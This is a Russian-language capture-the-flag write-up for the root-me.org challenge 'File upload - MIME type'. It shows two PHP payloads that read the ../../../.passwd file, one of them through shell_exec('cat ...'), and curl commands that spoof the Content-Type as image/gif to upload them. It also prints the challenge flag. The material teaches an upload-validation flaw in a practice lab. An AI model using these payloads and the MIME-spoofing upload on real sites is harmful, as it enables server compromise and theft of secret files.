Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "File upload - MIME type". За решение задачки дают 20 баллов, сложнее начального уровня.
В качестве задания предлагается взломать фотогалерею (снова), загрузив код PHP. Флаг следует искать в корневом файле .passwd.
Нам предлагают воспользоваться уязвимостью при загрузке файлов, связанной с проверкой типа файла. Сложно, конечно, это назвать уязвимостью. Проверка MIME типа для того, чтобы определить тип загружаемого файла, не подходит для безопасной загрузки. Дело в том, что MIME тип определяется по полю Content-Type, которое злоумышленник может подменить на стороне браузера и передать серверу.
Ссылки
Решение
Переходим на страницу задания:
http://challenge01.root-me.org/web-serveur/ch21/
Мы видим фотогалерею. Интересен раздел upload. Здесь можно загрузить свой файл.
Естественно, загрузить файл с расширением PHP не удастся. Разрешены расширения GIF, JPEG и PNG.
Подготовим PHP файл, который будем загружать в фотогалерею. В прошлом задании была похожая задача, так что файл у меня есть:
CTF — File upload - Double extensions
Внутри файла разместим PHP код, который нам выведет содержимое файла .passwd, например:
<?php
$filename = '../../../.passwd';
$handle = fopen($filename, "rb");
$contents = fread($handle, filesize($filename));
fclose($handle);
echo "<b>$contents</b>";
?>
Или:
<?php
$output = shell_exec('cat ../../../.passwd');
echo "<b>$output</b>";
?>
Я вставил оба кода, какой-нибудь да сработает.
Файл сохранил как hello.php.
И разместил в директории C:\root-me.
Далее буду работать в командной строке. Пробую загрузить PHP файл в галерею с помощью curl:
curl -i -X POST -F file=@C:/root-me/hello.php http://challenge01.root-me.org/web-serveur/ch21/?action=upload
В ответ получаю "Wrong file type !". Файл не загружается. Теперь минимальным дополнением к команде меняю MIME тип загружаемого файла на image/gif:
curl -i -X POST -F file="@C:/root-me/hello.php;type=image/gif;" http://challenge01.root-me.org/web-serveur/ch21/?action=upload
О чудо! Файл загрузился. Копирую значение PHPSESSID и возвращаюсь в браузер.
Загруженного файла нет. Подставляю в cookie скопированное значение PHPSESSID, чтобы подцепить сессию curl:
Смотрю в галерею снова.
А вот и файл hello.php. Открываю его.
Скрипт вывел содержимое файла .passwd.
Флаг: a7n4nizpgQgnPERy89uanf6T4
Валидируем.
Флаг подходит, зарабатываем 20 очков.
Безопасность
Определять тип загружаемого файла по MIME type нельзя, это небезопасно.